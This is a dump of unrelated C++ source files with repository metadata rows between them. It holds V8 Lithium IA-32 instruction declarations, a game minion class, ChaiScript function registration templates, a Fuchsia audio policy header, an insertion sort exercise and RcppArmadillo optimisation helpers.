LOperand* value) {
inputs_[0] = context;
inputs_[1] = object;
inputs_[2] = key;
inputs_[3] = value;
}
LOperand* context() { return inputs_[0]; }
LOperand* object() { return inputs_[1]; }
LOperand* key() { return inputs_[2]; }
LOperand* value() { return inputs_[3]; }
DECLARE_CONCRETE_INSTRUCTION(StoreKeyedGeneric, "store-keyed-generic")
DECLARE_HYDROGEN_ACCESSOR(StoreKeyedGeneric)
virtual void PrintDataTo(StringStream* stream);
StrictModeFlag strict_mode_flag() { return hydrogen()->strict_mode_flag(); }
};
class LTransitionElementsKind: public LTemplateInstruction<1, 1, 2> {
public:
LTransitionElementsKind(LOperand* object,
LOperand* new_map_temp,
LOperand* temp) {
inputs_[0] = object;
temps_[0] = new_map_temp;
temps_[1] = temp;
}
LOperand* object() { return inputs_[0]; }
LOperand* new_map_temp() { return temps_[0]; }
LOperand* temp() { return temps_[1]; }
DECLARE_CONCRETE_INSTRUCTION(TransitionElementsKind,
"transition-elements-kind")
DECLARE_HYDROGEN_ACCESSOR(TransitionElementsKind)
virtual void PrintDataTo(StringStream* stream);
Handle<Map> original_map() { return hydrogen()->original_map(); }
Handle<Map> transitioned_map() { return hydrogen()->transitioned_map(); }
};
class LStringAdd: public LTemplateInstruction<1, 3, 0> {
public:
LStringAdd(LOperand* context, LOperand* left, LOperand* right) {
inputs_[0] = context;
inputs_[1] = left;
inputs_[2] = right;
}
LOperand* context() { return inputs_[0]; }
LOperand* left() { return inputs_[1]; }
LOperand* right() { return inputs_[2]; }
DECLARE_CONCRETE_INSTRUCTION(StringAdd, "string-add")
DECLARE_HYDROGEN_ACCESSOR(StringAdd)
};
class LStringCharCodeAt: public LTemplateInstruction<1, 3, 0> {
public:
LStringCharCodeAt(LOperand* context, LOperand* string, LOperand* index) {
inputs_[0] = context;
inputs_[1] = string;
inputs_[2] = index;
}
LOperand* context() { return inputs_[0]; }
LOperand* string() { return inputs_[1]; }
LOperand* index() { return inputs_[2]; }
DECLARE_CONCRETE_INSTRUCTION(StringCharCodeAt, "string-char-code-at")
DECLARE_HYDROGEN_ACCESSOR(StringCharCodeAt)
};
class LStringCharFromCode: public LTemplateInstruction<1, 2, 0> {
public:
LStringCharFromCode(LOperand* context, LOperand* char_code) {
inputs_[0] = context;
inputs_[1] = char_code;
}
LOperand* context() { return inputs_[0]; }
LOperand* char_code() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(StringCharFromCode, "string-char-from-code")
DECLARE_HYDROGEN_ACCESSOR(StringCharFromCode)
};
class LStringLength: public LTemplateInstruction<1, 1, 0> {
public:
explicit LStringLength(LOperand* string) {
inputs_[0] = string;
}
LOperand* string() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(StringLength, "string-length")
DECLARE_HYDROGEN_ACCESSOR(StringLength)
};
class LCheckFunction: public LTemplateInstruction<0, 1, 0> {
public:
explicit LCheckFunction(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(CheckFunction, "check-function")
DECLARE_HYDROGEN_ACCESSOR(CheckFunction)
};
class LCheckInstanceType: public LTemplateInstruction<0, 1, 1> {
public:
LCheckInstanceType(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(CheckInstanceType, "check-instance-type")
DECLARE_HYDROGEN_ACCESSOR(CheckInstanceType)
};
class LCheckMaps: public LTemplateInstruction<0, 1, 0> {
public:
explicit LCheckMaps(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(CheckMaps, "check-maps")
DECLARE_HYDROGEN_ACCESSOR(CheckMaps)
};
class LCheckPrototypeMaps: public LTemplateInstruction<1, 0, 1> {
public:
explicit LCheckPrototypeMaps(LOperand* temp) {
temps_[0] = temp;
}
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(CheckPrototypeMaps, "check-prototype-maps")
DECLARE_HYDROGEN_ACCESSOR(CheckPrototypeMaps)
Handle<JSObject> prototype() const { return hydrogen()->prototype(); }
Handle<JSObject> holder() const { return hydrogen()->holder(); }
};
class LCheckSmi: public LTemplateInstruction<0, 1, 0> {
public:
explicit LCheckSmi(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(CheckSmi, "check-smi")
};
class LClampDToUint8: public LTemplateInstruction<1, 1, 0> {
public:
explicit LClampDToUint8(LOperand* value) {
inputs_[0] = value;
}
LOperand* unclamped() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(ClampDToUint8, "clamp-d-to-uint8")
};
class LClampIToUint8: public LTemplateInstruction<1, 1, 0> {
public:
explicit LClampIToUint8(LOperand* value) {
inputs_[0] = value;
}
LOperand* unclamped() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(ClampIToUint8, "clamp-i-to-uint8")
};
class LClampTToUint8: public LTemplateInstruction<1, 1, 1> {
public:
LClampTToUint8(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* unclamped() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(ClampTToUint8, "clamp-t-to-uint8")
};
class LCheckNonSmi: public LTemplateInstruction<0, 1, 0> {
public:
explicit LCheckNonSmi(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(CheckNonSmi, "check-non-smi")
};
class LAllocateObject: public LTemplateInstruction<1, 1, 1> {
public:
LAllocateObject(LOperand* context, LOperand* temp) {
inputs_[0] = context;
temps_[0] = temp;
}
LOperand* context() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(AllocateObject, "allocate-object")
DECLARE_HYDROGEN_ACCESSOR(AllocateObject)
};
class LFastLiteral: public LTemplateInstruction<1, 1, 0> {
public:
explicit LFastLiteral(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(FastLiteral, "fast-literal")
DECLARE_HYDROGEN_ACCESSOR(FastLiteral)
};
class LArrayLiteral: public LTemplateInstruction<1, 1, 0> {
public:
explicit LArrayLiteral(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(ArrayLiteral, "array-literal")
DECLARE_HYDROGEN_ACCESSOR(ArrayLiteral)
};
class LObjectLiteral: public LTemplateInstruction<1, 1, 0> {
public:
explicit LObjectLiteral(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(ObjectLiteral, "object-literal")
DECLARE_HYDROGEN_ACCESSOR(ObjectLiteral)
};
class LRegExpLiteral: public LTemplateInstruction<1, 1, 0> {
public:
explicit LRegExpLiteral(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(RegExpLiteral, "regexp-literal")
DECLARE_HYDROGEN_ACCESSOR(RegExpLiteral)
};
class LFunctionLiteral: public LTemplateInstruction<1, 1, 0> {
public:
explicit LFunctionLiteral(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(FunctionLiteral, "function-literal")
DECLARE_HYDROGEN_ACCESSOR(FunctionLiteral)
Handle<SharedFunctionInfo> shared_info() { return hydrogen()->shared_info(); }
};
class LToFastProperties: public LTemplateInstruction<1, 1, 0> {
public:
explicit LToFastProperties(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(ToFastProperties, "to-fast-properties")
DECLARE_HYDROGEN_ACCESSOR(ToFastProperties)
};
class LTypeof: public LTemplateInstruction<1, 2, 0> {
public:
LTypeof(LOperand* context, LOperand* value) {
inputs_[0] = context;
inputs_[1] = value;
}
LOperand* context() { return inputs_[0]; }
LOperand* value() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(Typeof, "typeof")
};
class LTypeofIsAndBranch: public LControlInstruction<1, 0> {
public:
explicit LTypeofIsAndBranch(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(TypeofIsAndBranch, "typeof-is-and-branch")
DECLARE_HYDROGEN_ACCESSOR(TypeofIsAndBranch)
Handle<String> type_literal() { return hydrogen()->type_literal(); }
virtual void PrintDataTo(StringStream* stream);
};
class LDeleteProperty: public LTemplateInstruction<1, 3, 0> {
public:
LDeleteProperty(LOperand* context, LOperand* obj, LOperand* key) {
inputs_[0] = context;
inputs_[1] = obj;
inputs_[2] = key;
}
LOperand* context() { return inputs_[0]; }
LOperand* object() { return inputs_[1]; }
LOperand* key() { return inputs_[2]; }
DECLARE_CONCRETE_INSTRUCTION(DeleteProperty, "delete-property")
};
class LOsrEntry: public LTemplateInstruction<0, 0, 0> {
public:
LOsrEntry();
DECLARE_CONCRETE_INSTRUCTION(OsrEntry, "osr-entry")
LOperand** SpilledRegisterArray() { return register_spills_; }
LOperand** SpilledDoubleRegisterArray() { return double_register_spills_; }
void MarkSpilledRegister(int allocation_index, LOperand* spill_operand);
void MarkSpilledDoubleRegister(int allocation_index,
LOperand* spill_operand);
private:
// Arrays of spill slot operands for registers with an assigned spill
// slot, i.e., that must also be restored to the spill slot on OSR entry.
// NULL if the register has no assigned spill slot. Indexed by allocation
// index.
LOperand* register_spills_[Register::kMaxNumAllocatableRegisters];
LOperand* double_register_spills_[
DoubleRegister::kMaxNumAllocatableRegisters];
};
class LStackCheck: public LTemplateInstruction<0, 1, 0> {
public:
explicit LStackCheck(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(StackCheck, "stack-check")
DECLARE_HYDROGEN_ACCESSOR(StackCheck)
Label* done_label() { return &done_label_; }
private:
Label done_label_;
};
class LIn: public LTemplateInstruction<1, 3, 0> {
public:
LIn(LOperand* context, LOperand* key, LOperand* object) {
inputs_[0] = context;
inputs_[1] = key;
inputs_[2] = object;
}
LOperand* context() { return inputs_[0]; }
LOperand* key() { return inputs_[1]; }
LOperand* object() { return inputs_[2]; }
DECLARE_CONCRETE_INSTRUCTION(In, "in")
};
class LForInPrepareMap: public LTemplateInstruction<1, 2, 0> {
public:
LForInPrepareMap(LOperand* context, LOperand* object) {
inputs_[0] = context;
inputs_[1] = object;
}
LOperand* context() { return inputs_[0]; }
LOperand* object() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(ForInPrepareMap, "for-in-prepare-map")
};
class LForInCacheArray: public LTemplateInstruction<1, 1, 0> {
public:
explicit LForInCacheArray(LOperand* map) {
inputs_[0] = map;
}
LOperand* map() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(ForInCacheArray, "for-in-cache-array")
int idx() {
return HForInCacheArray::cast(this->hydrogen_value())->idx();
}
};
class LCheckMapValue: public LTemplateInstruction<0, 2, 0> {
public:
LCheckMapValue(LOperand* value, LOperand* map) {
inputs_[0] = value;
inputs_[1] = map;
}
LOperand* value() { return inputs_[0]; }
LOperand* map() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(CheckMapValue, "check-map-value")
};
class LLoadFieldByIndex: public LTemplateInstruction<1, 2, 0> {
public:
LLoadFieldByIndex(LOperand* object, LOperand* index) {
inputs_[0] = object;
inputs_[1] = index;
}
LOperand* object() { return inputs_[0]; }
LOperand* index() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(LoadFieldByIndex, "load-field-by-index")
};
class LChunkBuilder;
class LPlatformChunk: public LChunk {
public:
LPlatformChunk(CompilationInfo* info, HGraph* graph)
: LChunk(info, graph),
num_double_slots_(0) { }
int GetNextSpillIndex(bool is_double);
LOperand* GetNextSpillSlot(bool is_double);
int num_double_slots() const { return num_double_slots_; }
private:
int num_double_slots_;
};
class LChunkBuilder BASE_EMBEDDED {
public:
LChunkBuilder(CompilationInfo* info, HGraph* graph, LAllocator* allocator)
: chunk_(NULL),
info_(info),
graph_(graph),
zone_(graph->zone()),
status_(UNUSED),
current_instruction_(NULL),
current_block_(NULL),
next_block_(NULL),
argument_count_(0),
allocator_(allocator),
position_(RelocInfo::kNoPosition),
instruction_pending_deoptimization_environment_(NULL),
pending_deoptimization_ast_id_(BailoutId::None()) { }
// Build the sequence for the graph.
LPlatformChunk* Build();
// Declare methods that deal with the individual node types.
#define DECLARE_DO(type) LInstruction* Do##type(H##type* node);
HYDROGEN_CONCRETE_INSTRUCTION_LIST(DECLARE_DO)
#undef DECLARE_DO
static HValue* SimplifiedDividendForMathFloorOfDiv(HValue* val);
static HValue* SimplifiedDivisorForMathFloorOfDiv(HValue* val);
private:
enum Status {
UNUSED,
BUILDING,
DONE,
ABORTED
};
LPlatformChunk* chunk() const { return chunk_; }
CompilationInfo* info() const { return info_; }
HGraph* graph() const { return graph_; }
Zone* zone() const { return zone_; }
bool is_unused() const { return status_ == UNUSED; }
bool is_building() const { return status_ == BUILDING; }
bool is_done() const { return status_ == DONE; }
bool is_aborted() const { return status_ == ABORTED; }
void Abort(const char* reason);
// Methods for getting operands for Use / Define / Temp.
LUnallocated* ToUnallocated(Register reg);
LUnallocated* ToUnallocated(XMMRegister reg);
LUnallocated* ToUnallocated(X87TopOfStackRegister reg);
// Methods for setting up define-use relationships.
MUST_USE_RESULT LOperand* Use(HValue* value, LUnallocated* operand);
MUST_USE_RESULT LOperand* UseFixed(HValue* value, Register fixed_register);
MUST_USE_RESULT LOperand* UseFixedDouble(HValue* value,
XMMRegister fixed_register);
// A value that is guaranteed to be allocated to a register.
// Operand created by UseRegister is guaranteed to be live until the end of
// instruction. This means that register allocator will not reuse it's
// register for any other operand inside instruction.
// Operand created by UseRegisterAtStart is guaranteed to be live only at
// instruction start. Register allocator is free to assign the same register
// to some other operand used inside instruction (i.e. temporary or
// output).
MUST_USE_RESULT LOperand* UseRegister(HValue* value);
MUST_USE_RESULT LOperand* UseRegisterAtStart(HValue* value);
// An input operand in a register that may be trashed.
MUST_USE_RESULT LOperand* UseTempRegister(HValue* value);
// An input operand in a register or stack slot.
MUST_USE_RESULT LOperand* Use(HValue* value);
MUST_USE_RESULT LOperand* UseAtStart(HValue* value);
// An input operand in a register, stack slot or a constant operand.
MUST_USE_RESULT LOperand* UseOrConstant(HValue* value);
MUST_USE_RESULT LOperand* UseOrConstantAtStart(HValue* value);
// An input operand in a register or a constant operand.
MUST_USE_RESULT LOperand* UseRegisterOrConstant(HValue* value);
MUST_USE_RESULT LOperand* UseRegisterOrConstantAtStart(HValue* value);
// An input operand in register, stack slot or a constant operand.
// Will not be moved to a register even if one is freely available.
MUST_USE_RESULT LOperand* UseAny(HValue* value);
// Temporary operand that must be in a register.
MUST_USE_RESULT LUnallocated* TempRegister();
MUST_USE_RESULT LOperand* FixedTemp(Register reg);
MUST_USE_RESULT LOperand* FixedTemp(XMMRegister reg);
// Methods for setting up define-use relationships.
// Return the same instruction that they are passed.
template<int I, int T>
LInstruction* Define(LTemplateInstruction<1, I, T>* instr,
LUnallocated* result);
template<int I, int T>
LInstruction* DefineAsRegister(LTemplateInstruction<1, I, T>* instr);
template<int I, int T>
LInstruction* DefineAsSpilled(LTemplateInstruction<1, I, T>* instr,
int index);
template<int I, int T>
LInstruction* DefineSameAsFirst(LTemplateInstruction<1, I, T>* instr);
template<int I, int T>
LInstruction* DefineFixed(LTemplateInstruction<1, I, T>* instr,
Register reg);
template<int I, int T>
LInstruction* DefineFixedDouble(LTemplateInstruction<1, I, T>* instr,
XMMRegister reg);
template<int I, int T>
LInstruction* DefineX87TOS(LTemplateInstruction<1, I, T>* instr);
// Assigns an environment to an instruction. An instruction which can
// deoptimize must have an environment.
LInstruction* AssignEnvironment(LInstruction* instr);
// Assigns a pointer map to an instruction. An instruction which can
// trigger a GC or a lazy deoptimization must have a pointer map.
LInstruction* AssignPointerMap(LInstruction* instr);
enum CanDeoptimize { CAN_DEOPTIMIZE_EAGERLY, CANNOT_DEOPTIMIZE_EAGERLY };
// Marks a call for the register allocator. Assigns a pointer map to
// support GC and lazy deoptimization. Assigns an environment to support
// eager deoptimization if CAN_DEOPTIMIZE_EAGERLY.
LInstruction* MarkAsCall(
LInstruction* instr,
HInstruction* hinstr,
CanDeoptimize can_deoptimize = CANNOT_DEOPTIMIZE_EAGERLY);
LEnvironment* CreateEnvironment(HEnvironment* hydrogen_env,
int* argument_index_accumulator);
void VisitInstruction(HInstruction* current);
void DoBasicBlock(HBasicBlock* block, HBasicBlock* next_block);
LInstruction* DoShift(Token::Value op, HBitwiseBinaryOperation* instr);
LInstruction* DoArithmeticD(Token::Value op,
HArithmeticBinaryOperation* instr);
LInstruction* DoArithmeticT(Token::Value op,
HArithmeticBinaryOperation* instr);
LPlatformChunk* chunk_;
CompilationInfo* info_;
HGraph* const graph_;
Zone* zone_;
Status status_;
HInstruction* current_instruction_;
HBasicBlock* current_block_;
HBasicBlock* next_block_;
int argument_count_;
LAllocator* allocator_;
int position_;
LInstruction* instruction_pending_deoptimization_environment_;
BailoutId pending_deoptimization_ast_id_;
DISALLOW_COPY_AND_ASSIGN(LChunkBuilder);
};
#undef DECLARE_HYDROGEN_ACCESSOR
#undef DECLARE_CONCRETE_INSTRUCTION
} } // namespace v8::internal
#endif // V8_IA32_LITHIUM_IA32_H_
| [
"geo.pertea@gmail.com"
] | geo.pertea@gmail.com |
2dcf590c1c59bf230d1c464623375899dcb45304 | 861e2d4a8f8285c4583e4fc10be395e55e59849a | /src/minion.cpp | 50cf0248d27e085bcfd390262d7171a1d4f79d9e | [] | no_license | vitorbaraujo/idj | 45a0249ec92356881b8ea05be3424289aef45395 | fb505946555610dd4808c7471ed919eb70a145a1 | refs/heads/master | 2021-01-24T18:26:00.102658 | 2017-05-26T12:08:45 | 2017-05-26T12:08:45 | 84,436,385 | 0 | 1 | null | 2017-03-31T17:31:55 | 2017-03-09T11:50:52 | null | UTF-8 | C++ | false | false | 1,759 | cpp | #include "input_manager.h"
#include "minion.h"
#include "camera.h"
#include "bullet.h"
#include "stage_state.h"
#include "game.h"
#define OFFSET 100
#define SPEED_FACTOR 100
Minion::Minion(GameObject *minion_center, double arc_offset, double rotation){
m_rotation = rotation;
m_arc = arc_offset;
m_center = minion_center;
m_sp = Sprite("img/minion.png");
m_box = Rectangle(minion_center->m_box.get_x(), minion_center->m_box.get_y(), m_sp.get_width(), m_sp.get_height());
// set scale between 1.0 and 1.5
double random_scale = 1.0 + (rand()) / (RAND_MAX/(0.5));
m_sp.set_scale_x(random_scale);
m_sp.set_scale_y(random_scale);
}
void Minion::update(double dt){
m_arc += SPEED_FACTOR * dt;
if(m_arc > 360) m_arc = 0;
double angle = Utils::to_rad(m_arc);
m_rotation = m_arc + 90;
Vector pos(m_center->m_box);
pos.translate(OFFSET, 0);
pos.rotate(angle, m_center->m_box);
m_box = Rectangle(pos.get_x(), pos.get_y(), m_sp.get_width(), m_sp.get_height());
}
void Minion::render(){
m_sp.render(m_box.draw_x() + Camera::m_pos[0].get_x(), m_box.draw_y() + Camera::m_pos[0].get_y(), m_rotation);
}
bool Minion::is_dead(){
return false;
}
void Minion::shoot(Vector pos){
InputManager input_manager = InputManager::get_instance();
double angle = atan2(pos.get_y() - m_box.get_y(), pos.get_x() - m_box.get_x());
double speed = 100;
double max_distance = 8000;
Bullet *bullet = new Bullet(m_box.get_x(), m_box.get_y(), angle, speed, max_distance, "img/minionbullet2.png", 1, 3, true);
Game::get_instance().get_current_state().add_object(bullet);
}
void Minion::notify_collision(GameObject&){
}
bool Minion::is(string type){
return type == "minion";
}
| [
"vitornga15@gmail.com"
] | vitornga15@gmail.com |
8ad785714c00e8005363de3a6ee4134c0d6ea3cb | 97de6703c1ea2985822913801508084bc6176230 | /scripting/chaivm/chai_ext/include/chaiscript/dispatchkit/register_function.hpp | 62a14f7a4771f8a390d8f694a2a5412d3f883801 | [] | no_license | ElFeesho/tgbdual | d59ec8b7238f94fe5d41c5f3475f315d59789979 | a36ab8c829895927ab177b487f7ffda637079914 | refs/heads/master | 2020-04-05T23:05:03.325484 | 2017-08-21T06:44:56 | 2017-08-21T06:44:56 | 61,995,159 | 1 | 0 | null | 2016-06-26T15:26:05 | 2016-06-26T15:26:05 | null | UTF-8 | C++ | false | false | 3,941 | hpp | // This file is distributed under the BSD License.
// See "license.txt" for details.
// Copyright 2009-2012, Jonathan Turner (jonathan@emptycrate.com)
// Copyright 2009-2017, Jason Turner (jason@emptycrate.com)
// http://www.chaiscript.com
// This is an open source non-commercial project. Dear PVS-Studio, please check it.
// PVS-Studio Static Code Analyzer for C, C++ and C#: http://www.viva64.com
#ifndef CHAISCRIPT_REGISTER_FUNCTION_HPP_
#define CHAISCRIPT_REGISTER_FUNCTION_HPP_
#include <type_traits>
#include "bind_first.hpp"
#include "proxy_functions.hpp"
namespace chaiscript {
/// \brief Creates a new Proxy_Function object from a free function, member function or data member
/// \param[in] t Function / member to expose
///
/// \b Example:
/// \code
/// int myfunction(const std::string &);
/// class MyClass
/// {
/// public:
/// void memberfunction();
/// int memberdata;
/// };
///
/// chaiscript::ChaiScript chai;
/// chai.add(fun(&myfunction), "myfunction");
/// chai.add(fun(&MyClass::memberfunction), "memberfunction");
/// chai.add(fun(&MyClass::memberdata), "memberdata");
/// \endcode
///
/// \sa \ref adding_functions
template<typename T>
Proxy_Function fun(const T &t) {
typedef typename dispatch::detail::Callable_Traits<T>::Signature Signature;
return Proxy_Function(
chaiscript::make_shared<dispatch::Proxy_Function_Base, dispatch::Proxy_Function_Callable_Impl<Signature, T>>(t));
}
template<typename Ret, typename ... Param>
Proxy_Function fun(Ret (*func)(Param...)) {
auto fun_call = dispatch::detail::Fun_Caller<Ret, Param...>(func);
return Proxy_Function(
chaiscript::make_shared<dispatch::Proxy_Function_Base, dispatch::Proxy_Function_Callable_Impl<Ret(Param...), decltype(fun_call)>>(fun_call));
}
template<typename Ret, typename Class, typename ... Param>
Proxy_Function fun(Ret (Class::*t_func)(Param...) const) {
auto call = dispatch::detail::Const_Caller<Ret, Class, Param...>(t_func);
return Proxy_Function(
chaiscript::make_shared<dispatch::Proxy_Function_Base, dispatch::Proxy_Function_Callable_Impl<Ret(const Class &, Param...), decltype(call)>>(call));
}
template<typename Ret, typename Class, typename ... Param>
Proxy_Function fun(Ret (Class::*t_func)(Param...)) {
auto call = dispatch::detail::Caller<Ret, Class, Param...>(t_func);
return Proxy_Function(
chaiscript::make_shared<dispatch::Proxy_Function_Base, dispatch::Proxy_Function_Callable_Impl<Ret(Class &, Param...), decltype(call)>>(call));
}
template<typename T, typename Class /*, typename = typename std::enable_if<std::is_member_object_pointer<T>::value>::type*/>
Proxy_Function fun(T Class::* m /*, typename std::enable_if<std::is_member_object_pointer<T>::value>::type* = 0*/ ) {
return Proxy_Function(chaiscript::make_shared<dispatch::Proxy_Function_Base, dispatch::Attribute_Access<T, Class>>(m));
}
/// \brief Creates a new Proxy_Function object from a free function, member function or data member and binds the first parameter of it
/// \param[in] t Function / member to expose
/// \param[in] q Value to bind to first parameter
///
/// \b Example:
/// \code
/// struct MyClass
/// {
/// void memberfunction(int);
/// };
///
/// MyClass obj;
/// chaiscript::ChaiScript chai;
/// // Add function taking only one argument, an int, and permanently bound to "obj"
/// chai.add(fun(&MyClass::memberfunction, std::ref(obj)), "memberfunction");
/// \endcode
///
/// \sa \ref adding_functions
template<typename T, typename Q>
Proxy_Function fun(T &&t, const Q &q) {
return fun(detail::bind_first(std::forward<T>(t), q));
}
}
#endif
| [
"gummybassist@gmail.com"
] | gummybassist@gmail.com |
7ca5af564516e7e074e510d5fa66fe9da16c6820 | 2919f2dcd937603083a686b91a564cd1e69f03c1 | /src/media/audio/audio_core/policy_loader.h | b19b4193948167253e4736855153aa8b7a0a1946 | [
"BSD-2-Clause"
] | permissive | rlumanglas/fuchsia | fba1e6c7d6963976c4efd282cd33abdd77b038cf | 49cf855c6a5537be969609d5ed4103e46e51e944 | refs/heads/master | 2023-07-15T10:36:04.118833 | 2020-05-22T09:14:21 | 2021-08-23T07:36:32 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 800 | h | // Copyright 2019 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef SRC_MEDIA_AUDIO_AUDIO_CORE_POLICY_LOADER_H_
#define SRC_MEDIA_AUDIO_AUDIO_CORE_POLICY_LOADER_H_
#include <fuchsia/media/cpp/fidl.h>
#include <rapidjson/document.h>
#include "src/media/audio/audio_core/audio_policy.h"
namespace media::audio {
class PolicyLoader {
public:
static AudioPolicy LoadPolicy();
static fpromise::result<AudioPolicy> ParseConfig(const char* file_body);
private:
static bool ParseIdlePowerOptions(rapidjson::Document& doc,
AudioPolicy::IdlePowerOptions& options);
};
} // namespace media::audio
#endif // SRC_MEDIA_AUDIO_AUDIO_CORE_POLICY_LOADER_H_
| [
"commit-bot@chromium.org"
] | commit-bot@chromium.org |
ca38f07a2c5472c90d44a87d8ae7365e0ed24d6a | 66723a63010fffbbf3ca3115d9513f483ca936da | /templates/=template=main.cpp | 33a36c55d9c599a22d49dcfec0a6a9f312aefd3e | [] | no_license | charlesoconor/vim-template | 49edfe05ad548c151f8100e00cab7b0f47a2da8a | 092fd191548f897057be250e3d65279f9202c867 | refs/heads/master | 2020-05-29T11:35:08.707568 | 2017-10-18T16:12:10 | 2017-10-18T16:12:10 | 55,557,642 | 0 | 0 | null | 2016-04-05T22:17:11 | 2016-04-05T22:17:11 | null | UTF-8 | C++ | false | false | 162 | cpp | /*
* %FFILE%
* Copyright (C) %FDATE% %USER% <%MAIL%>
*
*/
#include <iostream>
using namespace std;
int main(int argc, char** argv){
%HERE%
return 0;
}
| [
"charlie@dwnld.me"
] | charlie@dwnld.me |
e3dc88c1449d839e9936bb729d90187b9dcea200 | 9a92b7fa1fc6fec6ed6850a853dd472593cb4b89 | /6. Searching & Sorting/SORTING/3. Insertion Sort.cpp | e401c622a9c0dd52ac8aedae4454c9f5819fff09 | [] | no_license | Chandra-Sekhar-Bala/DS-Algo | 3e5f8dae4b189ced501485adf53b5253c6927335 | 930d9dc3d69908b754a78cf559b34f334a33a8e2 | refs/heads/main | 2023-08-15T16:21:09.422326 | 2021-09-22T17:10:02 | 2021-09-22T17:10:02 | 406,784,197 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 932 | cpp | #include <iostream>
using namespace std;
/*
Todo: Insert an element from unsorted array to it's correct position in sorted array:
if we're in i'th element, i-1'th element should be < lesser and i+1'th element should be greater >
*/
void insertionSort(int a[], int n)
{
for (int i = 0; i < n; i++)
{
int temp = a[i];
//I've to check temp which is a[i] with a[i-1];
int j = i - 1;
while (a[j] > temp && j >= 0)
{
a[j + 1] = a[j];
//simply swaping cz these are greater than my temp;
j--;
}
// after that loop j will be pointing that index which is less then temp;
a[j + 1] = temp;
}
}
int main()
{
int n;
cin >> n;
int a[n];
for (int i = 0; i < n; i++)
cin >> a[i];
insertionSort(a, n);
for (int i = 0; i < n; i++)
cout << a[i] << " ";
return 0;
} | [
"noreply@github.com"
] | noreply@github.com |
ba6af1b14199e4fb6db270b68cab0f8409135105 | 9ef930c32682eddb7a83037716c3e30850b2d2d7 | /src/grad_proj_new.cpp | aa2035656e501713ff5edf0a562fe0b0077241f8 | [] | no_license | LeeHank/temp.spat.pca3 | 81110457b7eba777cfcbc6f614a2d0b77fe0d713 | e5a66b604eb96967c2ce6314ac5f745ca6c5c37d | refs/heads/master | 2020-06-11T03:59:21.237937 | 2019-07-01T04:57:09 | 2019-07-01T04:57:09 | 193,844,351 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 31,873 | cpp | #include <RcppArmadillo.h>
#include <Rcpp.h>
// [[Rcpp::depends(RcppArmadillo)]]
double f_new(arma::mat phi, arma::mat Ceps_inv, arma::mat yxi,arma::mat S11, double tau, arma::mat omega) {
double result = -2*trace(Ceps_inv*yxi*trans(phi))+trace(Ceps_inv*phi*S11*trans(phi))+tau*trace(trans(phi)*omega*phi);
return result;
}
double f_new2(arma::mat y_mat, arma::mat phi, arma::mat Ceps_inv, arma::mat yxi,arma::mat S11, double tau, arma::mat omega) {
int T=y_mat.n_rows;
int N=y_mat.n_cols;
double tr = arma::trace(trans(y_mat)*y_mat-yxi*trans(phi)-phi*trans(yxi)+phi*S11*trans(phi));
double result = T*N*log(tr/(T*N))+tau*trace(trans(phi)*omega*phi);
return result;
}
arma::mat f_grad(arma::mat phi,
arma::mat Ceps_inv,
arma::mat yxi,
arma::mat S11,
double tau,
arma::mat omega){
return -2*Ceps_inv*yxi+Ceps_inv*phi*(S11+trans(S11))+2*tau*omega*phi;
}
arma::mat f_grad2(arma::mat y_mat,
arma::mat phi,
arma::mat Ceps_inv,
arma::mat yxi,
arma::mat S11,
double tau,
arma::mat omega){
int T=y_mat.n_rows;
int N=y_mat.n_cols;
double tr = arma::trace(trans(y_mat)*y_mat-yxi*trans(phi)-phi*trans(yxi)+phi*S11*trans(phi));
return (T*N/tr)*(-2*yxi+2*phi*S11)+2*tau*omega*phi;
}
arma::mat line_search(arma::mat init, arma::mat z2, double learning_rate){
arma::mat z3 = init + learning_rate * z2;
arma::mat U;
arma::vec d;
arma::mat V;
svd_econ(U, d, V, z3);
arma::mat m_next = U*trans(V);
return m_next;
}
